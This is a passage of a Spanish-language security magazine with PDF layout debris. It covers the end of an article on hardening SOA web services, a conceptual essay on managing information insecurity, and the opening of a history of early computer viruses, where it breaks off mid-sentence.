Si es posible, recompilar el servidor de aplicaciones con las opciones mínimas necesarias para el funcionamiento del mismo, esto hará que disminuya el número de riesgos potenciales, ya que muchos posibles ataques dependen de posibles bugs o carencias del servidor de aplicaciones. También resulta de vital importancia establecer los permisos adecuados al servidor de aplicaciones desde el sistema operativo y utilizar al máximo todas las facilidades, en cuánto a seguridad, que nos de la plataforma que estemos usando (por ejemplo los servidores de aplicaciones basados en Java pueden hacer uso de su sistema de seguridad). Ocultar toda la información posible de la arquitectura, servidor de aplicaciones, etc. que se puede mandar en las cabeceras. A pesar de que ofuscar de por si no sea una buena estrategia, cuántas menos facilidades se le den a los atacantes, menos posibilidades de sufrir un ataque. En este sentido también es conveniente personalizar al máximo el servidor de aplicaciones, desde cosas tan básicas y evidentes como los posibles usuarios y claves por defecto a directorios, etc. Esto nos hace algo inmunes a que esquemas generales de ataque funcionen sobre nuestro servicio web. No permitir la autogeneración del WSDL y/o no tener ningún WSDL de nuestro servicio web. Existen muchos medios (mail, por ejemplo) de ofrecer el WSDL describiendo las funcionalidades de nuestro servicio web a usuarios que realmente queramos que puedan acceder a las funcionalidades y de esta forma evitamos dar información valiosa a aquellos que quieran atacar nuestro sistema. Utilizar logs y monitores de carga para poder auditar y trazar los ataques. Esto resulta muy importante ya no solo para poder

www.hakin9.org

descubrir quién ha tirado nuestro sistema, si no también para prevenir los ataques exitosos ya que analizando los logs podemos detectar intentos de ataques, patrones de comportamiento y extraer conocimiento acerca de cómo protegernos ante estos ataques. Para esto, resulta muy interesante conocer técnicas de gestión de datos aplicada a logs.

Conclusión

SOA ofrece un marco de desarrollo bastante interesante al permitir gran interoperabilidad. De todas formas SOA es un arquitectura relativamente reciente y el aspecto de seguridad ha estado un tanto descuidado hasta hace poco tiempo. En este artículo se ha introducido la arquitectura SOA y se han visto los puntos débiles de la misma, estableciendo una guía de puntos relacionados con la seguridad a la hora de desarrollar nuestro propio servicio web. A la hora de hacer seguro nuestro servicio web nos tenemos que centrar ante todo en ofrecer la menor cantidad posible de información susceptible a ser utilizada en un ataque (definición de la funcionalidad, información de la arquitectura y servidor de aplicaciones, etc.), en asegurarnos que nuestro sistema es robusto ante ataques por XML, impedir la inyección de consultas SQL y, como es lógico, asegurarnos la robustez de la lógica de negocio del servicio web a desarrollar. l

Sobre los Autores

Los tres autores son miembros fundadores y trabajadores de AINetSolutions, empresa dedicada a consultoría en el mundo de las redes, seguridad y gestión de datos. Así mismo, tanto José Carlos Cortizo como Diego Expósito son profesores asociados en la Universidad Europea de Madrid y Diego Peces es consultor de seguridad en Axpe Consulting.

Administrando la Inseguridad Informática Defensa Jeimy J. Cano

Grado de dificultad

Este documento busca repensar la seguridad de la información desde el concepto de la inseguridad, para que, tratando de aprender de la mente del atacante, se descubra cómo diseñar y construir sistemas menos inseguros, como una estrategia para destruir la falsa sensación de seguridad y animar una postura vigilante y proactiva en la gestión de la seguridad de la información.

L

a única constante en el mundo de la seguridad de la información, es la inseguridad. En este sentido, las organizaciones luchan día a día para tratar de eliminar o mitigar las posibles vulnerabilidades que se presentan en sus infraestructuras tecnológicas o en sus procedimientos que apoyan el negocio. Revisando los recientes artículos e informes de vulnerabilidades (WILLIAMS, M. 2006, MIMOSO, M. y SAVAGE, M. 2006, BEAVER, K. 2006, ROITER, N. 2006), se hace evidente que la inseguridad informática es un elemento propio de la dinámica de las organizaciones en cada uno de sus procesos. Mientras las empresas buscan alcanzar un nivel superior de seguridad, más se encuentran con la problemática de la inseguridad, pues los procesos en sí mismos, al ser redes de comunicaciones y acuerdos entre personas, tecnologías y normas, establecen relaciones y distinciones que generalmente no son distinguibles, haciendo de la labor de aseguramiento de la información más que una función tecnológica, acciones humanas y procesos administrativos y estratégicos. Durante el 2006, los robos de información y la exposición de datos (http://attrition.org/ dataloss/), fueron las manifestaciones más

36

sobresalientes de la inseguridad. Si miramos con detalle estas dos consideraciones, no responden necesariamente a un problema de seguridad tecnológico, sino procedimental y de concientización. Los intrusos saben y comprenden que detrás de las infraestructuras de seguridad de la información está ese elemento que las organizaciones hoy por hoy se resisten a entrenar, a formar, a hacer parte formal de su modelo de seguridad, los usuarios. (BEAVER, K. 2006). Esta realidad, se manifiesta en importantes incrementos de robo de identidad y fraudes bancarios a través de Internet que requieren una revisión profunda de nuestra com-

En este artículo aprenderás... • •

Cómo diseñar y construir sistemas menos inseguros, Cómo animar un apostura vigilante y proactiva en la gestión de la seguridad informática.

Lo que deberías saber... •

www.hakin9.org

Concepto de la inversión y las vulnerabilidades en la seguridad informática.

Inseguridad Informática

prensión de la seguridad, más allá de las fallas y las vulnerabilidades. En este sentido, repensar el discurso de administración de la seguridad exige de los profesionales y directivos de seguridad aprender a comprender el dual que combaten: la inseguridad informática. Comprender el lado oscuro implica reconocer que tenemos que desaprender, que nuestras actuales estrategias se limitan a mantener y utilizar más tecnologías, y no a comprender en profundidad las relaciones complejas que exhibe la organización y cómo allí se hace presente o se materializa la inseguridad. (THE HONEYNET PROJECT 2004, TAYLOR, R., CAETI, T., KALL LOPER, D., FRITSCH, E. y LIEDERBACH, J. 2006). En consecuencia, las organizaciones deben reconocer que parte del secreto para incrementar los niveles de seguridad, está en la administración de la inseguridad informática. Expresado de otra forma, que tan seguros pueden llegar a ser, reconociendo siempre que la inseguridad de la información estará presente para desafiarlas una y otra vez. Las implicaciones de esta propuesta exigen desarrollar un hábito que busque confrontar la inseguridad de la información y no solamente su control o mitigación. En razón a lo anterior, desarrollar un hábito requiere según Covey (2005 pág. 51) tres elementos: el conocimiento, la habilidad y la actitud. •

El conocimiento, como la capacidad de comprender en detalle los aspectos conceptuales relacionados con el área de trabajo donde se ejerce.





La habilidad como la capacidad de hacer, desarrollar y actuar en consecuencia con ese conocimiento. La actitud, como la disposición del individuo frente a los retos que propone el área de conocimiento y su manera de enfrentar y motivar el desarrollo de habilidades complementarias para ir más allá de lo que su entorno le propone.

En ese contexto, desarrollar el hábito de la Administración de la Inseguridad Informática – ADINSI – implica hacer de ésta una pasión, una disciplina individual que permita a las organizaciones mantener una posición proactiva frente a posibles e inesperados eventos, para los cuales puede no estar preparadas, pero conscientes sobre cómo aprender de ellos. Basado en lo anterior, se presenta este documento que examina los conceptos actuales de la seguridad de la información, algunas consideraciones de inversión en temas de seguridad, los cuales serán insumo para proponer un modelo base para la administración de la inseguridad y así ver, bajo la mirada de los intrusos, tendencias emergentes y estrategias consecuentes con este modelo.

Concepto tradicional de la seguridad de la información

La seguridad de la información desde los años 60 se ha desarrollado como una distinción formal, basada generalmente en teorías matemáticas, las cuales terminaron materializadas en implementaciones de software, hardware y productos intermedios. Como bien comentaba una persona de la in-

Tabla 1. Características de la Seguridad y de la Inseguridad (Tomado de: CANO, J. 2006) Seguridad

Inseguridad

Subjetiva

Objetiva

No tiene cota superior

Es posible establecerle cota superior

Intangible

Tangible

Es una propiedad emergente

Es una propiedad inherente

Se require modelarla

No se require modelarla

www.hakin9.org

dustria, en teoría la seguridad es perfecta, en la práctica no, esta expresión nos sugiere que si bien, las especificaciones matemáticas utilizadas para darle claridad a las relaciones que se establecen entre usuarios y objetos son verificables en un escenario ideal, la realidad de las organizaciones y el desarrollo de software desbordan dichas expectativas. La seguridad ha estado basada todo el tiempo en la comprensión de tres elementos fundamentales y cómo alcanzarlos en cada una de las implementaciones de modelos de seguridad: confidencialidad, integridad y disponibilidad – CID. Consecuente con lo anterior, cualquier intento para vulnerar alguno de éstos elementos, se considerará un intento o ataque al activo fundamental que es la información. Siguiendo la revisión anterior, se tiene que los ataques se presentan dado que existen escenarios y prácticas que no aseguran el cumplimiento del CID para la información a proteger, característica que en el mundo de la auditoría se denomina riesgo. Un riesgo, de manera general, es todo aquello que no me permite el logro de los objetivos; en particular, en temas de seguridad de la información, todo aquello que no me permite cumplir con CID. Generalmente al adelantar un proceso de administración de la seguridad de la información, se establece lo que se denomina un conjunto de procesos a revisar y la información asociada con el mismo. Este proceso se basa por lo general en un programa de protección de activos de la organización (KOVACICH, G. y HALIBOZEK, E. 2006) que considera las políticas, los procedimientos, los procesos, los proyectos, los planes y las responsabilidades de cada uno de los actores de la organización frente a los activos. A través de este programa se operacionalizan las medidas requeridas para mitigar los riesgos a los cuales esta expuesta la información. La valoración de qué tan efectivo ha sido el proceso de administración de la seguridad generalmente se

37

Defensa

mide según el número de incidentes que se han presentado en la dinámica de la organización y su negocio. Para ello, ejercicios como las pruebas de vulnerabilidades, las evaluaciones de seguridad y las auditorías de seguridad (CANO 1997) son referentes útiles para establecer el grado en que las vulnerabilidades se hacen presentes tanto en la infraestructura como en los procesos de negocio. Si revisamos las prácticas actuales de las organizaciones alrededor de una administración de la seguridad de la información, identificamos una fuerte tendencia al uso de tecnologías y utilización de estándares o buenas prácticas internacionales (KUPER, P. 2005), como una estrategia para avanzar en su lucha contra la inseguridad, pero pocos elementos que procuren entender esta última. En consecuencia con lo anterior, el concepto de seguridad, como el proceso formal y riguroso para mantener un sistema de gestión orientado a la protección de la información, sustentado en las estrategias y dinámica de negocio, entra en crisis al saber que la inseguridad presente dentro del sistema atenta contra su propio objetivo. La pregunta que surge es: ¿qué hacer frente a la inseguridad o riesgos inherentes a la realidad de las organizaciones? La

respuesta a este interrogante será desarrollada posteriormente.

Algunas consideraciones sobre la inversión y las vulnerabilidades en seguridad informática

Las organizaciones que reconocen en la información un activo fundamental para desarrollar negocios y sobrevivir en un mundo global, por lo general establecen presupuestos que consideran inversiones (generalmente de un dígito) en los temas de aseguramiento o protección de dicho activo. Dichas inversiones fueron revisadas por un estudio realizado por la firma Stanley Morgan durante el 2005 (KUPER, P. 2005), cuyos resultados se detallan a continuación. La firma Stanley Morgan encontró que las mayores inversiones en seguridad se efectúan en temas de seguridad perimetral, es decir, cajas de protección de seguridad anti-spam, anti-virus, anti-spyware, las cuales generalmente viene preconfiguradas e instaladas, haciendo mucho más fácil su uso y puesta en producción. Dichas cajas generalmente poseen una interfase de administración que permite a los responsables de seguridad mirar la efectividad del control de las amenazas para las cuales han sido adquiridas.

MAYOR INVERSIÓN Perimiter

Network

ANTI-BOX AntiSPAM/AntiVIRUS/AntiSPYWARE/ ¿ AntiHACKING ?

Estrategia AAA Autenticación/Autorización/Auditoría /Monitoreo

Applications Mejores prácticas Aseguramiento/Pruebas de Vulnerabilidades Data Clasficación de la Información/Estándares Usuarios/Technologías/Procedimientos MENOR INVERSIÓN

Figura. 1 Análisis de la inversión en Seguridad Informática. [Adaptado de: KUPER, P. 2005]

38

www.hakin9.org

En un segundo lugar se encuentran las inversiones en tecnologías de autenticación, autorización, auditoría y monitoreo, las cuales de manera estratégica soportan y registran los eventos y el acceso a la información dentro de la infraestructura de tecnologías de información de la organización. En tercer lugar, se identifica las inversiones en el tema de aseguramiento de aplicaciones, fortalecimiento de sistemas operacionales, valoración de la seguridad, las cuales establecen buenas prácticas que permiten afianzar la distinción de gestión de la seguridad de la información Finalmente, las inversiones sobre revisión y análisis de los datos que están residentes en la infraestructura de computación de la empresa, la clasificación de la información y las relaciones entre aplicaciones, procedimientos de operación y control de datos, uso de estándares internacionales, entre otras. Al revisar estos resultados, es extraño ver que la menor inversión se concentra en la esencia misma de la seguridad informática, los datos, la información, y que la mayor se orienta a la adquisición de tecnologías para controlar en el exterior la aparición de amenazas contra el activo información. Consecuente con este análisis, se adelantó una revisión paralela, siguiendo la misma estrategia del estudio de Stanley Morgan, para ver cómo evolucionan las vulnerabilidades, los resultados obtenidos establecen reflexiones que presentan en los siguientes párrafos. Las mayores vulnerabilidades se presentan a nivel de los datos, de la información, generalmente asociadas con la falta de cultura de seguridad, la inadecuada disposición de medios de información, inadecuadas prácticas de seguridad asociadas con vulnerabilidades donde el factor humano y el incumplimiento de procedimientos se hacen presentes. Esta realidad se evidencia en todas las organizaciones en mayor o menor grado, según los esfuerzos de entrenamiento, información, capacitación y formación del personal de las áreas de negocio.

Inseguridad Informática

En segundo lugar tenemos las vulnerabilidades propias a las aplicaciones, las cuales frecuentemente están enraizadas en problemas con las herramientas y prácticas de programación, lo cual exige comprender que una aplicación está hecha tanto para cumplir con la especificación con la cual fue diseñada como para fallar ante un evento no esperado. En tercer lugar, tenemos las fallas a nivel de comunicaciones. Los protocolos utilizados en las transmisiones de información tienen vulnerabilidades inherentes, las cuales con el tiempo se han venido detectando y corrigiendo, cuando es posible, o limitando la aparición de las mismas con tecnologías de seguridad que bloquean tráficos que puedan ser catalogados como sospechosos. Finalmente, tenemos las vulnerabilidades propias de los proveedores y sus productos, los cuales constantemente están trabajando para producir los parches y actualizaciones requeridas para mitigar el riesgo que pueda comprometer la seguridad de la organización frente a las amenazas que cubre dicho software o hardware. Como podemos observar al comparar los dos resultados, el de inversión y el de vulnerabilidades, se invierte donde existen menos vulnerabilidades. Por tanto, la seguridad, aunque reconocemos que es un proceso y no un producto, está siendo administrada en función de los recursos tecnológicos y las posibilidades que estos ofrecen. La pregunta es: ¿qué hacer para remediar esta situación?

Repensando la seguridad de la información

Basado en lo revisado hasta el momento, la seguridad de la infor-

Agradecimientos

El autor agradece al Dr. Jorge Ramió Aguirre, a la Maestra Gabriela María Saucedo Meza y al Ingeniero Andrés Ricardo Almanza Junco por su tiempo y valiosos comentarios que permitieron afinar y ajustar las ideas expuestas en este artículo.

MENORES VULNERABILIDADES Perimiter

FALLAS DE LOS PROVEEDORES Paraches/Actualizaciones

Network

FALLAS A NIVEL DE PROTOCOLOS Confidencialidad/Integridad/Disponibilidad

Applications

Data

APLICACIONES INSEGURAS Prácticas de progranación

MALWARE/CULTURA DE SEGURIDAD Virus/ Robos de portátiles/Inadecuada disposición de medios de almacenamiento MAYORES VULNERABILIDADES

Figura 2. Análisis de la evolución de las vulnerabilidades mación es una disciplina que, sustentada en la formalidad original de los años 60’s, se ha fortalecido como un mundo tecnológico y normativo, donde cualquier anormalidad que se presente es una falla o vulnerabilidad que debe ser controlada o mitigada. Esta manera de razonar, ha permitido avances importantes en las tecnologías de protección, que de manera sistemática y asidua ha logrado importantes desarrollos y propuestas para enfrentar el lado oscuro de la fuerza, la inseguridad. Si analizamos estos últimos 40 años de evolución de la seguridad informática, podemos ver que las investigaciones se han concentrado en revisar las limitaciones de los productos y teorías alrededor de la seguridad, es decir, hemos estado estudiando la inseguridad informática como factor base para los nuevos desarrollos (HUTCHINSON, B. y WARREN, M. 2001 Cap.4). Si esto es así, no podemos hablar de seguridad de la información, sin reconocer su dual, la inseguridad (CANO 2004). En consecuencia, estudiar la inseguridad como estrategia para comprender la seguridad sugiere contextualizar en un escenario real la incertidumbre inherente del sistema o realidad a modelar, para revisar entre otros aspectos (SCHNEIER 2003, pag. 51):

www.hakin9.org

• • • •

¿Cómo funciona el sistema? ¿Cómo no funciona el sistema? ¿Cómo reacciona ante una falla o situación inesperada? ¿Cómo hacerlo fallar?

De acuerdo con una reciente investigación (CANO 2006) y considerando los elementos anteriormente presentados (Figura 1 y 2), se establecen cinco características que identifican tanto a la seguridad como a la inseguridad, las cuales serán analizadas y detalladas a continuación. La seguridad es una realidad subjetiva, es decir propia del sujeto. Cada una de las personas tiene una manera de comprender y entender la seguridad. Es tan válida la definición de un ciudadano común, como la de un especialista en temas de seguridad, pues cada uno de ellos comprende la realidad de la seguridad según su exposición a la misma. Mientras que la inseguridad es objetiva, es decir, propia al objeto, una realidad perceptible, observable y verificable en el objeto. En este sentido, la inseguridad valida la esencia misma del análisis de riesgos, pues sólo a través de hechos cumplidos, verificables y comprobables podemos medir el nivel de exposición que tenemos y cómo podemos advertir mejores medidas de control para mitigarlo, atomizarlo, minimizarlo o transferirlo.

39

Defensa

La seguridad no tiene cota superior, en otras palabras, siempre es posible encontrar una medida que sea más efectiva y/o eficiente que la anterior. Esto es fruto normal de la evolución de las medidas de protección, que entendiendo ¿cómo no funciona el sistema? es posible plantear estrategias que mejoren lo actualmente disponible. Si la inseguridad no tuviese cota superior como la seguridad, los seguros no existirían ni se podrían pagar. Es tal nuestra necesidad de mantener un nivel de protección, que debemos tratar de cuantificar el nivel de inseguridad que podemos administrar, siguiendo paradójicamente un nivel base de prácticas de seguridad y la dinámica de los procesos de negocio. En este sentido, podemos establecer un límite superior de exposición o riesgo que queremos asegurar, con las condiciones y precauciones que el asegurador establezca como mínimas para poder validar y pagar los daños como fruto de la materialización del riesgo, más allá de nuestro debido cuidado y diligencia para mantenerlo en los niveles establecidos. La seguridad es intangible, no está en los mecanismos de seguridad, no está en los procedimientos, no está en las personas o en los cargos. La seguridad, complementaría al tema de la subjetividad previamente analizado, es la manifestación de que estamos ante un bien cuyo manejo no es evidente ni certero gracias a su volatilidad, fruto de la percepción de terceros. Por ejemplo, si nos detenemos a observar la variabilidad de los mercados financieros ante incertidumbres geopolíticas, nos percataremos de cómo se destruye la sensación de seguridad de los inversionistas ocasionando efectos devastadores en los movimientos financieros. En consecuencia y complementario con lo anterior, la inseguridad es tangible, es posible advertir el robo, la estafa, el accidente, la catástrofe, es una propiedad que es evidenciable y verificable, esa que se puede valorar con hechos y cifras, soportando un análisis real de los daños y efectos que ésta ha tenido.

40

Al ser la seguridad un intangible, necesariamente responde a una propiedad emergente de un sistema. Una propiedad emergente, es aquella que tienen los sistemas, fruto de la relación entre sus elementos y no particular a un objeto que lo conforma, en otras palabras, la seguridad es fruto de la relación existente entre la tecnología, los procesos y los individuos, como un todo coherente y alineado que comprende que no es posible alcanzar mayores niveles de seguridad sin un entendimiento o comprensión de las interrelaciones, muchas veces invisibles, que la seguridad sugiere cuando de protección de activos se trata. De otra parte, la inseguridad es una propiedad inherente a los objetos, una realidad que deber ser evidenciada y explorada para ser comprendida, lo cual nos lleva necesariamente a la aparición de la administración de riesgos. Cuando entendemos que en el mundo donde nos movemos estamos expuestos a ellos, hacemos evidente que la inseguridad está presente en nuestro vivir y por tanto, es preciso advertir una serie de acciones que nos permitan mitigarlos. Es darle respuesta a la pregunta ¿Qué hacer si el sistema falla? Cuando se habla de modelar o diseñar algo, buscamos que ese

En la Red: •



• •







algo tenga las características que perseguimos. Si queremos que los activos gocen de seguridad, nos enfocamos en primer lugar a comprender los riesgos a los cuales está expuesto, para desarrollar las estrategias de seguridad requeridas y así lograr un nivel de exposición menor de dichos activos. Por otro lado, la inseguridad no requiere de modelos o diseños específicos o detallados, ella sabe que todos los objetos la contienen y sus manifestaciones se pueden manifestar en diferentes grados o impactos. En este sentido la inseguridad es una propiedad inherente a los objetos que advierte la manera de cómo establecer los mecanismos mínimos para limitar la materialización de la misma en un escenario con unos actores y variables. Basado en esta exploración de los conceptos de seguridad e inseguridad es posible sugerir que es arriesgado afirmar que podría administrarse la seguridad cuando la inseguridad propia de los objetos nos muestra elementos reales y tangibles que ofrecen características de gestión que pueden llegar a ser analizados y cuantificados de tal forma, que se planteen métricas de inseguridad que basadas en buenas prácticas de seguridad y control, puedan alcanzar niveles mínimos permitidos

BEAVER, K. (2006) Don't Spring a Leak. Information Security Magazine. Enero. Disponible en: http://informationsecurity.techtarget.com/magItem/0,291266,sid42_ gci1154838,00.html, CANO, J. (1997) Auditorías de Seguridad, Evaluaciones de Seguridad y Pruebas de penetración: tres paradigmas en la seguridad informática. Disponible en: http:// www.derechotecnologico.com/estrado/estrado003.html, CANO, J. (2004) Inseguridad Informática. Un concepto dual en seguridad informática. http://www.virusprot.com/art47.html, WILLIAMS, M. (2006) Security threat changing, says Symantec CEO. Disponible en: http://www.networkworld.com/news/2006/110306-security-threat-changingsays-symantec.html, MIMOSO, M. y SAVAGE, M. (2006) Today's Attackers Can Find the Needle. Information Security Magazine. Junio. Disponible en: http://informationsecurity.techtar get.com/magItem/0,291266,sid42_gci1191313,00.html, ROITER, N. (2006) That Sinking Feeling. Information Security Magazine. Octubre. Disponible en: http://informationsecurity.techtarget.com/magItem/0,291266,sid42_ gci1219723,00.html, SAVAGE, M. (2006) Protect What's Precious. Information Security Magazine. Diciembre. Disponible en: http://informationsecurity.techtarget.com/magItem/ 0,291266,sid42_gci1232273,00.html.

www.hakin9.org

Inseguridad Informática

y así mantener asegurados los bienes o activos que se tengan bajo observación y custodia. Si la reflexión anterior es correcta se requiere repensar la administración de la seguridad, por una de inseguridad donde, haciendo evidente cada una de las características de esta última, podamos desaprender las prácticas actuales de administración del riesgo focalizadas en objetos, para reconocer en las relaciones que generan las expectativas de la gerencia (COHEN, F. 2005), los procesos de negocio y la infraestructura de computación, una fuente complementaria para el entendimiento de las vulnerabilidades en los sistemas.

Hacia un modelo de Administración de Inseguridad Informática

Los modelos actuales de administración de seguridad, generalmente buscan descubrir y corregir las fallas, pero no generan estrategias formales para entender la inseguridad; se concentran en establecer las correcciones y los controles requeridos para mejorar la efectividad y eficiencia

de la gestión del modelo de seguridad (SCHOU, C. y SHOEMAKER, D. 2007). Si bien este razonamiento es útil por la manera sistemática de aprender del sistema y sus fallas, presenta limitaciones para desaprender de sus prácticas aprendidas, cuando se enfrenta a situaciones inesperadas o no contempladas en el modelo. Para lograr materializar las ideas presentadas previamente y darle una posible respuesta a la pregunta planteada: ¿qué hacer frente a la inseguridad o riesgos inherentes a la realidad de las organizaciones?, se propone un modelo de administración de inseguridad informática basado en dos ideas principales: descubrir la inseguridad y entender la inseguridad. El descubrir la inseguridad es utilizar el enfoque tradicional (sistemático) de administración de riesgos que se viene utilizando, donde los ejercicios de valoración de seguridad requieren un conocimiento especializado, fundado generalmente en herramientas y estrategias prácticas para identificar vulnerabilidades, orientado a resultados prácticos y con-

Librería • • • • • • • • • • • •

CANO, J. (2006) Information Insecurity: A dual concept of information security. Proceeding of 2nd Internacional Conference on E-Global Security. Londres, UK. Abril. COHEN, F. (2005) Security Governance: Business Operations, security governance, risk management and enterprise security architecture. ASP Press. COVEY, S. (2005) El octavo hábito. De la efectividad a la grandeza. Editorial Paidos. HUTCHINSON, B. y WARREN, M. (2001) Information warfare. Corporate attack and defense in a digital world. Butterworth Heinemann. KIELY, L y BENZEL, T (2006) Systemic security management. IEEE Security & Privacy. Noviembre/Diciembre. KOVACICH, G. y HALIBOZEK, E. (2006) Security metrics management. How to manage the cost of an assets protection program. Butterworth Heinemann. KUPER, P. (2005) The state of security. IEEE Security & Privacy. Septiembre/ Octubre SCHNEIER, B. (2003) Beyond Fear. Thinking Sensibly about security in an uncertain world. Copernicus Books. SCHOU, C. y SHOEMAKER, D. (2007) Information Assurance for the enterprise. A roadmap to information security. McGraw Hill. SCHWANINGER, M. (2006) Intelligent organizations. Powerful models for systemic management. Springer Verlag. TAYLOR, R., CAETI, T., KALL LOPER, D., FRITSCH, E. y LIEDERBACH, J. (2006) Digital crime and digital terrorism. Pearson Prentice Hall. THE HONEYNET PROJECT (2004) Know your enemy. Learning about security threats. Addison Wesley.

www.hakin9.org

cretos en cada uno de los elementos de evaluación y que exige personal especializado en el conocimiento de los objetos evaluados. Como resultado de este ejercicio tenemos la evidencia de los riesgos y controles requeridos para mitigar la presencia de la inseguridad. (KOVACICH, G. y HALIBOZEK, E. 2006) Entender la inseguridad significa comprender las relaciones de los elementos que son objeto de evaluación. Esto implica revisar de manera sistémica e inteligente (SCHWANINGER, M. 2006, cap. 1 y 2) los resultados de la evaluación considerando, como mínimo, los aspectos de la tecnología, los individuos y los procesos, no para analizar lo que ocurre, sino para comprender porqué ocurre y efectuar un diagnóstico de la situación. En pocas palabras en términos sistémicos, administrar la variedad y complejidad que exhibe el sistema. Cuando se aplican las consideraciones sistemáticas y sistémicas al mismo tiempo, se comprenden de manera complementaria los ejercicios tradicionales de seguridad y se posibilita un diagnóstico real de una situación anormal. Este diagnóstico puede llevarnos a desaprender lo conocido y a establecer nuevas distinciones en cualquiera de los niveles de análisis (estratégico, táctico y operacional), generando conocimiento que alimente el desarrollo de mejores estrategias de negocio, la aplicación de estándares y buenas prácticas, así como una asertiva ejecución los procedimientos de operación. El modelo presentado (Figura 3) pretende, que la organización de manera dinámica, comprenda que cada nivel afecta a su nivel superior, esto es, lo que se evidencie en el análisis y diagnóstico del nivel operacional afecta al nivel táctico y así sucesivamente, evitando la fragmentación de la visión de seguridad y promoviendo una postura proactiva y global de la organización, que reconoce en la seguridad la propiedad emergente fruto del reconocimiento y entendimiento de los riesgos inherentes a cada uno de los objetos que la conforman.

41

Defensa

Nivel Estratégico

Análisis Diagnóstico Des c

Expectativas Corporativas

ubr

Objectivos de Negocio

Arquitectura de Seguridad

Cultura de Seguridad

do l a

Nivel Operacional

inse

o la

inse

gur

idad

Estándares y Buenas prácticas

Infraestructura de Seguridad

Ent end ien

iend

Prácticas de Seguridad Informática

gur idad

Procedimientos de Operación

Configuración y Adecuación

Figura 3. Modelo de Administración de la Inseguridad Informática Si esto es así, la organización destruirá estructuralmente la falsa sensación de seguridad y la reemplazará por una estrategia de aprendizaje permanente sobre los incidentes que se presenten, como la norma misma de la gestión de éstos. Esto es, tomará ventaja de lo que aprende de la inseguridad de la información, para construir mejores propuestas de protección, basado en aquello que ven los intrusos y las ventajas que ofrecen las tecnologías.

Conclusión

La realidad del creciente número de vulnerabilidades reportadas, incidentes ocurridos y fallas identificadas nos invita a reflexionar sobre la forma de cómo hemos venido afrontando los riesgos que éstas generan y los impactos de las mismas. En este sentido, el paradigma actual de la seguridad de la información ha entrado en crisis, por lo que se requiere estudiar en profundidad la mente de los intrusos y sus reflexiones para comprender mejor lo que ocurre ante una falla. Por tanto, no es suficiente descubrir la falla puntal y analizar cómo se materializó, sino que se requiere una revisión relacional de lo que ocurrió para entender

42

de manera estructural el porqué de ésta. Por tanto, se hace necesario complementar el modelo de riesgos y controles actual, con uno basado en las técnicas de hacking, que más allá de estar concentrado en los activos a proteger y sus vulnerabilidades, reconoce las relaciones de los diferentes componentes del sistema para responder las preguntas planteadas anteriormente (sección repensando la seguridad de la información). El modelo de Administración de la Inseguridad Informática (Figura 3) presentado vincula los dos paradigmas, el de riesgos y controles y el del hacking, como una manera efectiva de procurar una administración de la protección de la información,

Sobre el Autor

cuya dinámica de aplicación debe llevar a una distinción organizacional sobre la gestión de la inseguridad de la información que se denomina en la teoría information assurance (SCHOU, C. y SHOEMAKER, D. 2007) o aseguramiento de la información. Finalmente, el modelo de ADINSI propuesto (Figura 3) es una manera alterna para comprender que existen tensiones entre las personas, los procesos y la tecnología (KIELY, L y BENZEL, T 2006) que deben ser objeto de revisión permanente y así evaluar el impacto de las mismas en temas como las expectativas de la alta gerencia, la arquitectura de seguridad informática y las prácticas de seguridad de las organizaciones. l

Jeimy J. Cano, Ph.D, CFE. Miembro investigador del Grupo de Estudios en Comercio Electrónico, Telecomunicaciones e Informática (GECTI). Facultad de Derecho. Universidad de los Andes. Colombia. Miembro Investigador de ALFA-REDI (Red Latinoamericana de Especialistas en Derecho Informático). Ingeniero de Sistemas y Computación, Universidad de los Andes. Magíster en Ingeniería de Sistemas y Computación, Universidad de los Andes. Ph.D in Business Administration, Newport University. Profesional certificado en Computer Forensic Analysis (CFA) del World Institute for Security Enhacement, USA. Profesional certificado como Certified Fraud Examiner (CFE) por la Association of Certified Fraud Examiners. Contacto: [email protected].

www.hakin9.org

Programas malignos Defensa Carlos Javier Fornés Cabrera

Grado de dificultad

Todo ordenador o sistema informático está expuesto a una serie de amenazas de tipo software que, por mucho que intentemos evitarlas, siempre van a estar ahí. Dichas amenazas son programas diseñados con el único propósito de causar daños en los sistemas donde se ejecutan, como por ejemplo borrar el disco duro o estropear el sistema operativo eliminando determinados archivos.

N

o hay ningún sistema seguro salvo quizás aquel que esté apagado y desenchufado de la red eléctrica. El desarrollo de los códigos malignos ha venido evolucionando de simples intentos de demostración de conocimiento informático, por parte de programadores individuales; a verdaderos negocios, con jugosas ganancias llevados a cabo por mafias con objetivos precisos. Durante los últimos diez años, se vieron cambiar notablemente los tipos y la velocidad de propagación de los códigos malignos: desde los disquetes flexibles que se contagiaban mediante la inserción manual del disco de una computadora a otra, hasta técnicas más sofisticadas de códigos que crean réplicas fácilmente en las redes y el mundo a través de Internet.

El origen de los códigos maliciosos

Elk Cloner: The program with a personality It will get on all your disks It will infiltrate your chips Yes it's Cloner! It will stick to you like glue

En este artículo aprenderás... • • •

Qué es un Virus, Gusano y Caballo de Troya, descripción y ejemplos de algunos conocidos, Métodos y técnicas, de reproducción e infección de los principales PM, Incidencia en el mundo actual.

Lo que deberías saber... •

Según plantean algunos autores el primer código malicioso fue un virus creado en 1982, conocido por Elk Cloner, y su autoría corresponde a Rich Skrenta, quien en ese entonces era un muchacho de sólo 14 años de edad. El virus

44

fue escrito para las máquinas Apple II, que al infectarse mostraban el siguiente mensaje en pantalla por cada cincuenta veces que se encendiese la computadora:

• •

www.hakin9.org

Breve referencia sobre programas malignos y sus técnicas, formato PE, tener una pequeña idea de sobre binarios, Conocer las vulnerabilidades de los sistemas operativo en este caso Windows.

Programas malignos

It will modify RAM too Send in the Cloner!

Al tratarse de un período en que Internet era un sistema limitado a los círculos académicos, la propagación de Elk Cloner se producía mediante disquetes. Sin embargo en la conocida enciclopedia libre Wikipedia se plantea que el primer virus que atacó a una máquina IBM Serie 360 (y reconocido como tal), fue llamado Creeper, creado en 1972 por Robert Thomas Morris. Este programa emitía periódicamente en la pantalla el mensaje: I'm a creeper, catch me if you can! (Soy una enredadera, agárrenme si pueden). Para eliminar este problema se creó el primer programa antivirus denominado Reaper (Segadora). Sea como fuere, la denominación virus informático fue introducida en 1983 por el investigador Fred Cohen, quien usó tal concepto para referirse a sus experimentos de códigos autorreproducibles. Sin embargo, la producción masiva de tales códigos -y la competencia por crear los virus más destructivos, molestos o ingeniosos- surgió después del lanzamiento del libro Neuromancer de William Gibson, que sirvió de fuente de inspiración para muchos escritores de virus. El primer virus que llamó la atención mediática a nivel mundial fue Jerusalén, que después de propagarse de forma silenciosa, liberaba su carga destructiva cada viernes 13, eliminando archivos en las máquinas infectadas. Con ello se había dado inicio a la eterna lucha entre los escritores de códigos 